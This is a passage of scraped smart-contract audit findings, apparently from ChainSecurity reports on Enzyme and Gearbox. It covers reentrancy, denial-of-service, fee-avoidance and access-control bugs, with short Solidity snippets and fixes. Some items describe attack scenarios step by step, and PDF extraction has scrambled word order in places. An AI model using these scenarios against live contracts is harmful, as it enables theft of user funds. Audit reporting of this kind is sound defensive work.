"https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.6 getManagedAssets for Solv Buyer Side", "body": " Reverts if Maturity Not Reached getManagedAssets evaluates the value held by the position. To do so, it iterates over all vouchers held, currently held or being sold, and computes internal method __getClaimableAmount() which contains the following code: their value with uint128 settlePrice = poolContract.getSettlePrice(slotId); require(settlePrice > 0, \"Price not settled\"); Note that Solv's convertible pool contract implements getSettlePrice() such that it reverts if maturity has not been reached or if the price is negative. Ultimately, no voucher that has not reached its maturity can be evaluated and hence getManagedAssets() will revert which will block several operations in the Enzyme system. Even if getSettlePrice() did not fail, the second requirement may lead to reverts. Specification changed: Avantgarde Finance states: This is an architectural decision to revert upon price lookup for all Solv vouchers (in both Buyer and Issuer features) that are issued or held prior to maturity, rather than estimate the value of an unsettled voucher. Price-dependent fund functions will revert while any such voucher is issued/held. Avantgarde Finance - Sulu Extensions V - 20 DesignMediumVersion1Speci\ufb01cationChanged \f6.7 Incomplete NatSpec for ManualValueOracleLib.init() The documentation of ManualValueOracleLib.init() is: /// @notice Initializes the proxy /// @param _owner The owner of the oracle /// @param _updater The updater of the oracle value Note that the _description parameter is not documented and, thus, the NatSpec is incomplete. The description parameter has been added to the NatSpec. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.8 assetsToReceive Not Containing Assets", "body": " Both the parsers for Solv V2 Buyer positions and Solv V2 Issuer positions could lead to untracked assets. The library used for adding items to memory arrays, creates a new memory array with the old and new items. However, in some occasions, the return value is not assigned to assetsToReceive after an item is added. Hence, it could be possible the assets remain untracked. Note that Avantgarde Finance reported the issue. The return values are assigned. Avantgarde Finance - Sulu Extensions V - 21 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "7.1 Arbitrary Loan Powers", "body": " While all addresses involved in the arbitrary loan mechanism are fully trusted, such external positions may give managers very high control about the fund. Some (incomplete) list examples: 1. Stealing funds very easily by giving the full balance as a loan to itself. 2. Manipulating the valuation of the fund to profit by specifying an accounting module that computes the face value when queried as extremely high. 3. Increase the number of shares by using the loan to invest in the fund. 4. Reentrancy possibilities. 5. Blocking behaviour. Avantgarde Finance - Sulu Extensions V - 22 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "5.1 Missing Sanity Checks", "body": " When opening a short position in the Gearbox system by calling shortOpenUniV2, the user must provide multiple parameters. These parameters are not sanitized, thus arbitrary behavior may occur. More specifically it is never checked that path[path.length - 1] == collateral and collateral == longParams.path[0]. The lpInterface and lpContract in the struct LongParameters used in _openLong are not checked to match. Similarly, an arbitrary router can be passed as shortSwapContract as long as there is an adapter for it. Note that this is currently not an issue since different adapters/routers do not share the same interface and the transaction would revert. However, the addition of more adapters in the future might require some kind of sanity check. Code partially corrected: shortOpenUniV2 now features an additional check ensuring that the token out of the exchange using shortSwapContract is the collateral. Similar checks have been added to openShortUniV3 and openShortCurve. Gearbox Protocol - Gearbox - 11 SecurityDesignCorrectnessCriticalHighMediumLowCodePartiallyCorrectedDesignLowVersion4CodePartiallyCorrected \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 3 8 12 -Severity Findings -Severity Findings Incorrect Arguments in checkCollateralChange Non-Accessible Credit Accounts Retain Ownership of Credit Account -Severity Findings DoS of LeverageActions Incorrect params.amountOutMinimum Contracts Implement Proxy Pattern Trust Model of External Adapters Users Can Avoid Paying Fees On Closure Wrong Approval To Pool maxAmount Can Be Circumvented takeOut May Break the Account List -Severity Findings Discrepancy Between openShortUniV2 and openShortUniV3 Use of transfer Rounding Errors Head Cannot Be Taken Out Pointers Not Updated On takeOut Redundant Multiplication Storage Optimizations Taking Out the First-Ever Created Account allowToken Can Be Blocked cancelAllowance Cannot Be Called connectCreditManager Access Control rayMul and rayDiv Are Used With No Ray Values ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.1 Incorrect Arguments in ", "body": " checkCollateralChange Gearbox Protocol - Gearbox - 12 CriticalHighCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion2CodeCorrected \fIn YearnV2.withdraw(uint256, address, uint256), the checkCollateralChange is called with wrong arguments. Particularly, the following snippet is used: creditFilter.checkCollateralChange( creditAccount, token, yVault, balanceInBefore.sub(IERC20(yVault).balanceOf(creditAccount)), balanceOutBefore.add(IERC20(token).balanceOf(creditAccount)) ); Note that token is the tokenOut in this particular case, we convert yVault tokens to the underlyings and yVault is the tokenIn. This error later results in querying the oracles with wrong balances. Code Corrected: The arguments are now passed correctly to checkCollateralChange. *While the final round of the review was ongoing Gearbox Protocol informed us of an issue in the new implementations of the adapters. The adapters were calculating the delta of the incorrectly and hence were passing wrong parameters to `checkCollateralChange`. The issue has been fixed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.2 Non-Accessible Credit Accounts", "body": " The transferAccountOwnership function of a CreditManager contract allows the owner of a credit account to transfer it onwards to a new owner. Per CreditManager an address is only allowed to hold one credit account. trasferAccountOwnerhip(). However, there is no check on whether the recipient already holds a credit account at this CreditManager contract and simply overwrites the entry for the credit account of the recipient. Hence a credit account which holds funds can become non-accessible and its funds will be trapped. In the updated code the transferAccountOwnership function no longer overwrites an existing credit account entry of the recipient, hence the issue no longer exists. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.3 Retain Ownership of Credit Account", "body": " In Gearbox, Credit Accounts are reused after they have been returned to the factory. Due to a reentrancy issue, account ownership can be retained and after the next user got this credit account assigned, the previous owner may access its funds belonging to the new owner. Function transferAccountOwnership does not feature the non nonReentrant modifier and hence can be executed during another operation. Consider the follwowing scenario: Alice owns a healthy credit account 0xA which holds some WETH balance. 1. Alice prepares a contract that allows her to execute all necessary actions. As a first step, the credit account ownership is transferred to this contract. Gearbox Protocol - Gearbox - 13 SecurityHighVersion1CodeCorrectedSecurityHighVersion1CodeCorrected \f2. The credit account is repaid using repayCreditAccount specifying the contract as to address. This transfers all assets to the provided to address. Notably the WETH asset is unwraped into Ether, the Ether is transferred in a call to the reciepient's address to. This call executes code at the contract. 3. At the specified to address a contract exists. This contract transfers the ownership of the credit that (newAddress) Alice controls. This means to another address account onwards creditAccounts[newAddress] will point to the credit account 4. The closure of the credit account continues as normal. All assets are transferred to address to, the debt is repaid to the pool and the credit account is returned to the AccountFactory. 5. Next delete creditAccounts[borrower]; is executed, this should delete the assignment of this credit account to the borrower. However, as we already transferred the ownership from borrower which is the contract address back to Alice, creditAccounts[borrower] contains no entry at this point and deleting it has no effect. At the end of this sequence, the credit account has been returned to the AccountFactory but the entry creditAccounts[newAddress] in this CreditManager still points to this account. The next time this CreditAccount is reused at the same CreditManager by a new user, due to the entry in creditAccounts Alice will still have access to this account and can collect its funds by e.g. closing or repaying the account. transferAccountOwnership() now features the nonReentrant modifier. Hence, the reentrancy issue described is no longer possible. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.4 DoS of LeverageActions", "body": " LeveragedActions can be blocked completely or for specific collaterals only in different ways: 1. When opening an account the credit manager will check if onBehalfOf already has an account. In case a malicious user has already transferred the ownership of a credit account to the LeverageActions contract then the CreditManager will fail to open a new one: function openCreditAccount( ... require( !hasOpenedCreditAccount(onBehalfOf) && onBehalfOf != address(0), Errors.CM_ZERO_ADDRESS_OR_USER_HAVE_ALREADY_OPEN_CREDIT_ACCOUNT ); // T:[CM-3] ... 2. Although this is more a theoretical attack, assume a credit manager which prohibits the user to invest more that A amount of tokens. A malicious user sends to the the contract A + 1 tokens. When the contract will try to open a leveraged position it will do so using the total balance of the token it holds. If this amount is greater than the allowed one the account opening will block. The snippets which dictate the above behavior are the following: LeverageActions: function _openLong(LongParameters calldata longParams, uint256 referralCode){ Gearbox Protocol - Gearbox - 14 DesignMediumVersion4CodeCorrected \f ... uint256 amount = IERC20(collateral).balanceOf(address(this)); // M:[LA-1] ... } CreditManager: function openCreditAccount( ... require( amount >= minAmount && amount <= maxAmount && leverageFactor > 0 && leverageFactor <= maxLeverageFactor, Errors.CM_INCORRECT_PARAMS ); // T:[CM-2] ... } For the case #1, an allowance system was implemented for the transfer of credit account. In order to get a credit account transferred, the receiver needs to pre-approve the sender of the credit account. Hence one can no longer transfer a credit account to the LeveragedAction contract and the issue no longer exists. To mitigate case #2 the LeveragedActions contract now uses the actual balance difference. *Moreover, Gearbox Protocol pointed out a third way to use the attack described above. Specifically, a user can open an account on behalf of the LeverageAccount contract which would result in a Denial-of-Service for the LeverageAction contract. The issue has been resolved by also restricting the address on behalf of which the credit account is opened. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.5 Incorrect params.amountOutMinimum", "body": " The parameter params.amountOutMinimum passed to the call to the UniswapV3 adapter in _openLong() is calculated incorrectly and does not include the leverage. _openLong executes a swap using the funds of the opened leveraged account given the swap parameters in longParams. The relevant parameters for the swap are in bytes swapCalldata which are first extracted and prepared for the call to the swap contract. Note however the parameters representing amountIn and amountOutMinimum extracted from swapCalldata do not include the leverage, hence the actual values for the swap have to be calculated: else if (longParams.swapInterface == Constants.UNISWAP_V3) { ISwapRouter.ExactInputParams memory params = abi.decode( longParams.swapCalldata, (ISwapRouter.ExactInputParams) ); params.amountIn = leveragedAmount; params.amountOutMinimum = params .amountOutMinimum Gearbox Protocol - Gearbox - 15 CorrectnessMediumVersion4CodeCorrected \f .mul(leveragedAmount) .div(params.amountIn); ISwapRouter(adapter).exactInput(params); (, asset) = _extractTokensUniV3(params.path); } First params.amountIn is overwritten with leveragedAmount. Next params.amountOutMinimum is calculated, this calculation uses params.amountIn which is equal to leveragedAmount at this point. Hence the params.amountOutMinimum.mul(leveragedAmount).div(params.amountIn); actually params.amountOutMinimum.mul(leveragedAmount).div(leveragedAmount); simplifies to params.amountOutMinimum. calculation: is which The leverage is not included in params.amountOutMinimum. The calculation of the leveraged value for params.amountOutMinimum is now done correctly using the unchanged value of to leveragedAmount afterwards. the decoded params.amountIn. params.amountIn is only set ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.6 Contracts Implement Proxy Pattern", "body": " All adapters and the YearnPriceFeed contract inherit from OpenZeppelin's abstract Proxy contract and implement an _implementation function pointing to the address of the 3rd party system contract the adapter connects to. However, this proxy functionality is not needed nor used. The intended functionality of the adapter is implemented in functions inside the adapter contract itself. Inheriting the proxy contract, however, has serious consequences. Calls to non-existing functions in the contract execute the fallback function, which is implemented by the inherited proxy. This function forwards the call by delegate-calling into the implementation contract. During a delegate-call, the code at the target is executed in the context of the caller. Notably, it is read from and written to the storage of the caller, the adapter contract. This can have an adverse effect on the stored variables of the adapter contract. For example the stored values for the creditManager or the creditFilter. The adapter contracts were rewritten and the proxy pattern was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.7 Trust Model of External Adapters", "body": " The trust model for the external adapters has not been properly specified. Moreover, all four available adapters behave differently and the assumptions these adapters rely on have not been documented. After the action on the external system which is invoked by an adapter, there is a check on the collateral of the credit account. All currently available adapters use the following function which takes the following parameters: Gearbox Protocol - Gearbox - 16 SecurityMediumVersion1CodeCorrectedDesignMediumVersion1Speci\ufb01cationChangedCodeCorrected \ffunction checkCollateralChange( address creditAccount, address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOut ) The concern is about what is passed as amount especially for the spent asset. It is vital that these amounts represent the actual state of the credit accounts holding or the check may be circumvented. Some adapters rely on the values returned by the 3rd party system, some query the actual balance. While querying the actual balance for the assets involved in the action is the safest option, it may be expensive in terms of gas. However note that in the current implementation of the EVM (London hardfork), repeated access to the same contract/storage location got significantly cheaper the overhead in terms of gas may not be that big. Using values returned by the call to the third-party contract may be an option if the third-party contract is fully trusted to do so correctly. Similarly, this holds for input parameters. This critical part should be documented and assessed thoroughly. In case of doubts/uncertainties, it may be safer to query the balances and calculate the delta of the balances and use this. Regarding the YearnAdapter, it can be inspected and documented: Querying the balances could be Vault.withdraw avoided [https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy] return the change in the balance of the tokens of interest. However, the current YearnAdapter does not do this but queries the balance and calculates the delta. Vault.deposit since both and The UniswapV3 Adapter relies on the returned values by the 3rd party system. However, there is no documentation why this assumption holds. Specification changed and code corrected: A pattern of how all adapters should be built has been created. All existing adapters have been rewritten to adhere to this pattern: The balance is queried before and after the action and the difference is used for the check of the collateral change. Note that due to the existing token allowances for the adapters from the credit accounts these checks are not 100% failsafe. It is vital that the 3rd party system is fully trusted to not transfer any other tokens of the credit account. The system performs the fast check only for the tokens passed as arguments to the check. Any other change in balance will be ignored. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.8 Users Can Avoid Paying Fees On Closure", "body": " On account closure, all the assets held by the account are converted to the underlying token through defaultSwapContract which is set to be UniswapV2. For this conversion, the user defines a path of tokens to the underlying. This path can contain arbitrary tokens, tokens even controlled by the user. A check in _closeCreditAccountImpl assures that the closure of a credit account will not lead to losses for the protocol i.e., require(loss <= 1). On the closure of an account users are supposed to return to pool the amount they borrowed, the interest accrued for that amount and an extra amount for fees namely, feeSuccess and feeInterest. It is important to note that if the funds do not suffice totalFunds < amountToPool then only the borrowed amount with the interest accrued is returned and no fees are required to be paid. This means that draining a credit account to the point that does not make losses can allow a user to avoid paying fees to the protocol. Gearbox Protocol - Gearbox - 17 DesignMediumVersion1CodeCorrected \fCode Corrected: A new check has been introduced which requires that remainingFunds > 0. This way it is guaranteed that the user has paid their fees. Due to this requirement, a closure that does not result in fee payout will be reverted. Hence, the only option for the users will be to repay. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.9 Wrong Approval To Pool", "body": " *While the review was ongoing Gearbox Protocol informed us about this issue independently in parallel. In the WETHGateway.repayCreditAccountETH an approval is given to the pool: _checkAllowance(pool, amount); // T: [WG-11] However, this approval is wrong and should be given to the credit manager who performs the transfer from the WETHGateway to the pool. The code has been corrected in a further commit and the allowance is now given to the CreditManager instead of the pool in order for the credit manager to be able to transfer the tokens from the user to the pool. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.10 maxAmount Can Be Circumvented", "body": " When opening a credit account, a check of the amount invested is performed: require( amount >= minAmount && amount <= maxAmount, Errors.CM_INCORRECT_AMOUNT ); By limiting the amount originally invested, one can limit the amount of leverage that can be borrowed by the pool. However, this limitation can be circumvented as follows: 1. The user opens an account with an allowed account. 2. She calls CreditManager.addCollateral. 3. She calls increaseBorrowedAmount. Note, that addCollateral does not perform any checks and increaseBorrowedAmount only checks that the borrowed amount does not turn the account unhealthy. Code Corrected: The implementation has been extended to prevent increasing the borrowed amount more than the predetermined maximum: Gearbox Protocol - Gearbox - 18 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \frequire( borrowedAmount.add(amount) < maxAmount.mul(maxLeverageFactor).div( Constants.LEVERAGE_DECIMALS ), Errors.CM_INCORRECT_AMOUNT ); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.11 takeOut May Break the Account List", "body": " The configurator can take out an account by calling AccountFactory.takeOut(). During account removal, there is no check whether this is the tail nor is the tail updated in case this account is taken out. Should the tail account be taken out this is problematic: New accounts added will not be connected to the original list, hence they cannot be taken using takeCreditAccount() which takes the head of the original list. Similarly, returned accounts will be added to the list after the removed tail account which no longer exists in the list. Again, the connection to the original list starting at head is interrupted and these accounts cannot be used anymore. Code Corrected: The implementation has been extended to correctly update tail when the last account is taken out. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.12 Discrepancy Between openShortUniV2 and", "body": " openShortUniV3 LeverageAction.openShortUniV2 sets the deadline for the short swap to the current block timestamp: bytes memory data = abi.encodeWithSelector( bytes4(0x38ed1739), // \"swapExactTokensForTokens(uint256,uint256,address[],address,uint256)\", amountIn, amountOutMin, path, address(this), block.timestamp ); // M:[LA-5] the call cannot This way the other hand, LeverageAction.openShortUniV3 lets users define the deadline themselves. This means that a transaction that takes long to be included into a block might fail. to a passed deadline. On fail due Gearbox Protocol - Gearbox - 19 DesignMediumVersion1CodeCorrectedDesignLowVersion4CodeCorrected \fThe code of openShortUniV2 was changed and now uses the user-specified parameter deadline instead of block.timestamp. It's the caller's responsibility to specify a proper deadline. With this change, the behavior of the functions for UniV2 and V3 are now consistent. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.13 Use of transfer", "body": " _returnTokenOrUnwrapWETH uses transfer instead of safeTransfer for transferring tokens. This call will fail for tokens which do not adhere to the ERC20 interface e.g., USDT. The code was changed to use safeTransfer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.14 Rounding Errors", "body": " In CreditManager.increaseBorrowedAmount the following check is performed: require( borrowedAmount.add(amount) < maxAmount.mul(maxLeverageFactor).div( Constants.LEVERAGE_DECIMALS ), Errors.CM_INCORRECT_AMOUNT ); This check includes a division with Constants.LEVERAGE_DECIMALS which results in a rounding error. This error can be avoided, if one multiplies the left side of the inequality with the same value instead. In the following snippet of PoolService.expectedLiquidity a division before multiplication takes place: uint256 interestAccrued = totalBorrowed .mul(borrowAPY_RAY) .div(Constants.RAY) .mul(timeDifference) .div(Constants.SECONDS_PER_YEAR); Division before multiplication can interestAccrued will be smaller. result in rounding errors. In this particular case, the Code Corrected: Regarding the first issue, the division has been replaced with a multiplication. Regarding the second one, the order of operations has changed and the multiplications take place first. Gearbox Protocol - Gearbox - 20 DesignLowVersion4CodeCorrectedDesignLowVersion2CodeCorrected \f6.15 Head Cannot Be Taken Out Calling AccountFactory.takeOut requires to pass the previous account of the one to be deleted (prev). This means that the head credit account of the list cannot be taken out since there is no prev defined for it. Code Corrected: The implementation has been extended to handle the removal of the head. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.16 Pointers Not Updated On takeOut", "body": " A credit account can be function AccountFactory.takeOut. Under normal circumstances this account cannot be accessed again by the function. However, consider the following scenario: the configurator using the system by taken out of 1. The controller removes the head account (A1). In this case, the head is just updated to the second account (A2). Note that at the removal of the head, the pointers of the head account _nextCreditAccount[head] is not reset. 2. Later A2, the current head is also removed. 3. This means that the controller can take out A2 again by calling takeOut(A1, A2) and connect it to a new to address. The reason for the above is that _nextCreditAccount[A1] is not updated upon removal and still points to A2 which has also been removed. The check require( _nextCreditAccount[prev] == creditAccount, Errors.AF_CREDIT_ACCOUNT_NOT_IN_STOCK ); is still satisfied despite the accounts being no longer part of the system. Code Corrected: The pointers are now updated correctly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.17 Redundant Multiplication", "body": " In PoolService.removeLiquidity a part of the amount requested by the user is sent back to them determined by withdrawMultiplier and an amount determined by the withdrawFee is sent to the treasury. that withdrawMultiplier + withdrawFee == PERCENTAGE_FACTOR. These two amounts should add up to underlyingTokensAmount. Hence, there is no need to perform two safe multiplications with both withdrawFee and withdrawMultiplier and the following multiplication is redundant: construction know we By Gearbox Protocol - Gearbox - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fIERC20(underlyingToken).safeTransfer( ... underlyingTokensAmount.percentMul(withdrawFee) ); // T:[PS-3, 34] Code Corrected: The issue has been resolved. In the current implementation, only one multiplication takes place. The amount from underlyingTokensAmount. subtracting amountSent calculated by is now treasury sent the to ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.18 Storage Optimizations", "body": " There are various small optimizations that can be applied to the contracts of the system to improve gas efficiency: 1. Storage variable can be declared as constants: In GearToken contract totalSupply can be declared as constant. 2. Some functions can be declared as external: AccountFactory.countCreditAccountsInStock() CreditFilter.checkCollateralChange(address,address,address,uint256,uint256) CreditFilter.allowedContractsCount() CreditFilter.allowedContracts(uint256) GearToken.delegate(address) GearToken.delegateBySig(address,uint256,uint256,uint8,bytes32,bytes32) GearToken.getPriorVotes(address,uint256) 3. Dead code which can be removed: BytesLib.slice(bytes,uint256,uint256) BytesLib.toUint24(bytes,uint256) Code Corrected: Issues 1. and 2. have been resolved. Regarding 3., the client states: BytesLib functions are used in support contracts which are not in the scope ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.19 Taking Out the First-Ever Created Account", "body": " The configurator can call AccountFactory.takeOut to remove an account completely and connect it to an address of their choice. To do so, they provide the address of the account to be removed and the address of the previous account in the list of the available accounts. Let us consider the addition of the Gearbox Protocol - Gearbox - 22 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \ffirst-ever created account. The account is added during the deployment of the AccountFactory i.e., when the constructor is invoked. At this point, both the head and the tail are 0. This means that in the following snippet, it holds _nextCreditAccount[0] == clonedAccount. function addCreditAccount() public { ... _nextCreditAccount[tail] = clonedAccount; // T:[AF-2] ... first-ever created account. Note that _nextCreditAccount[0] is never updated. This means that there is always a pointer at 0 to the configurator calls takeOut with prev == 0x0 and the creditAccount the first ever created account they can control it even though the account might be in use at the time of the call. In other words, there is always a pointer to the first ever created account even if the account is not in stock. The case above makes the following check in AccountFactory.takeOut and the error message emitted imprecise: If require( _nextCreditAccount[prev] == creditAccount, Errors.AF_CREDIT_ACCOUNT_NOT_IN_STOCK ); // T:[AF-15] The check whether the account is in stock doesn't work as expected in the scenario described above. Code Correct: The pointer of _nextCreditAccount[0] now points to address(0) and not the first-ever created account. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.20 allowToken Can Be Blocked", "body": " The purpose of creditFilter.allowToken is twofold. On one hand, it allows the system to use new tokens. On the other hand, in the case of an already registered token, it allows updating the liquidation threshold for this token. Due to the bitmask optimization used, the following check assures that no more than 256 different tokens can be tracked by the system. require(allowedTokens.length < 256, ...); However, in the unlikely case of 256 registered tokens, the liquidation threshold cannot be updated anymore since the above check will fail, leading the transaction to revert. Code Corrected: The code has been corrected. The requirement will be satisfied when the function is called with a token for which tokenMasksMap[token] > 0 as shown in the following in snippet: Gearbox Protocol - Gearbox - 23 DesignLowVersion1CodeCorrected \frequire( tokenMasksMap[token] > 0 || allowedTokens.length < 256, ... ); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.21 cancelAllowance Cannot Be Called", "body": " When an account is closed, it is returned to the factory. It is important to note, however, that the allowances the account has given to other addresses remain in place. This can be dangerous in case of malfunctioning approved contracts. In order to mitigate this risk, the configurator is allowed to reduce or remove the allowances. This functionality is implemented by CreditManager.cancelAllowance. This function is supposed to be called by the factory. However, no function that calls cancelAllowance is implemented, thus the allowance cannot be revoked. Code Corrected: the current The code has been corrected. AccountFactory.cancelAllowance which then calls CreditAccount.cancelAllowance. implementation the configurator can call In ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.22 connectCreditManager Access Control", "body": " The CreditFilter.connectCreditManager function does not implement proper access control. The first caller to this function can set CreditManager to his address. This does not pose threat to the system but could lead to wasted deployments of the Credit Filter. Code Corrected: The code has been fixed, now only the configurator is allowed to set the creditManager for the filter. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "6.23 rayMul and rayDiv Are Used With No Ray", "body": " Values PoolService.expectedLiquidity() performs a multiplication using rayMul passing totalBorrowed as a parameter. However totalBorrowed is not in RAY but in the decimals of the underlying token. uint256 interestAccrued = totalBorrowed.rayMul( borrowAPY_RAY.mul(timeDifference).div(Constants.SECONDS_PER_YEAR) ); // T:[GM-1] This contradicts the specification for rayMul which states the following: * @dev Multiplies two ray, rounding half up to the nearest ray Gearbox Protocol - Gearbox - 24 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fSimilarly this applies for fromDiesel(). Additionally getDieselRate_RAY() uses and toDiesel() use rayDiv which is annotated with: * @dev Divides two ray, rounding half up to the nearest ray rayMul and rayDiv are now correctly used. Gearbox Protocol - Gearbox - 25 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.1 Blocking updateContributors", "body": " block. TokenDistributor.updateContributors of can TokenDistributor.updateVesting for each holder. Consider the following scenario: A receiver RA of the Vesting contract calls setReceiver to an address RB which is a receiver of another contract. Then for updateVesting(RA), it holds vestingContracts[RB].contractAddress != 0 which makes the transaction revert. This leads the execution of updateContributors to revert as well. Note that users do not have an incentive to change the receiver address to another's receiver address. Moreover, the new receiver can change again the address to another public address they control. This would unblock the execution of TokenDistributor.updateContributors. However, it is up to the specific user to address the issue. function makes The use This just affects the updateContributors function which attempts to update all holders. The unaffected holders can always be updated individually through updateVesting(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.2 Handling Of Reward Tokens", "body": " Users of the Gearbox system are allowed to trade through specific adapters. Moreover, the credit accounts are only enabled to access the balance of the enabled tokens which are specified by the governance. However, there might be the case where one of the allowed tokens accrues rewards in another token which is not part of the enabled tokens. Currently, users can only collect their rewards by repaying their accounts and receive the tokens which accrue the rewards. Furthermore, rewards may be accrued by the credit account address e.g., due to a user interacting with a certain third-party system. Such a reward may be only claimable in the future, notably e.g., after a credit account user returned his account to the factory. Such a reward may be claimable by the next user of this credit account. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.3 Liquidity Removal Not Always Possible", "body": " Users can remove liquidity they have offered to the pool by calling PoolService.removeLiquidity. During this call, a transfer is performed from the pool to the msg.sender with the requested amount. It is important to be aware that in case of high utilization of the pool, the amount requested might not be available since it is used as leverage in some positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.4 Oracles Do Not Handle Stale Prices", "body": " Gearbox Protocol - Gearbox - 26 NoteVersion7NoteVersion1NoteVersion1NoteVersion1 \fThe Gearbox system relies on chainlink oracles to derive the value of the assets a credit account holds. The chainlink interface allows the consumers of the data to know whether a price returned is stale or not timestamps https://docs.chain.link/docs/price-feeds-api-reference/#latestrounddata. based on However, Gearbox does not take advantage of these timestamps meaning that stale data could be used by the system. the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.5 Price Feeds Cannot Be Updated", "body": " A price feed can be added by the configurator of the system by calling PriceOracle.addPriceFeed. The logic of the addition is implemented inside an if statement with the following condition: if (priceFeeds[token] == address(0)) { This means that if the price feed for a token T is already defined i.e., priceFeeds[T] != 0 then it cannot be updated. This becomes important especially when it comes to custom price feed such as the yearn price feed which might require an upgrade at some point. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.6 Special ERC-20 Token Behavior May Be", "body": " Problematic Some ERC-20 tokens have transfer fees. Supporting such tokens may lead to accounting errors as the actual amount received after a transfer may not match the expected amount, e.g. when funds are repaid to the pool. Furthermore, note that the _convertAllAssetsToUnderlying() used during the closure of a credit account uses UniswapV2's swapExactTokensForTokens function which does not support token with transfer fees. In general, when adding tokens to the system they should be carefully inspected for any special behavior such as hooks. If any special behavior is detected, the impact on the system should be evaluated carefully. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "7.7 Users Can Turn Their Account Liquidatable", "body": " Inadvertently Gearbox uses fast check and health factor in order to prevent users from draining funds that should be returned back to the pool. However an unaware user may turn his account into a liquidatable state inadvertently. Consider the following scenario: Assume that a healthy account holds only token A with value V_A (in the underlying token) and owes amount B. The health factor of the account is H_f = V_A * LT_A / B. Now, this user trades the balance of A to token C, which is worth slightly when evaluated in the underlying asset. After the trade through the adapter is completed, the check on the collateral takes place. Let's assume we're eligible for the fast check and this passes as the value in terms of the underlying has increased. Gearbox Protocol - Gearbox - 27 NoteVersion1NoteVersion1NoteVersion1 \fHowever, it could be that the liquidation threshold of token A and token C are different, e.g. LT_C << LT_A. This means that the health factor H_f' = V_C * LT_C / B may become less than 1 after the trade even though the value of the holdings has not been decreased. Gearbox Protocol - Gearbox - 28 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox/"}, {"title": "5.1 Code Duplication Balance Getters", "body": " The engine contract implements two functions: 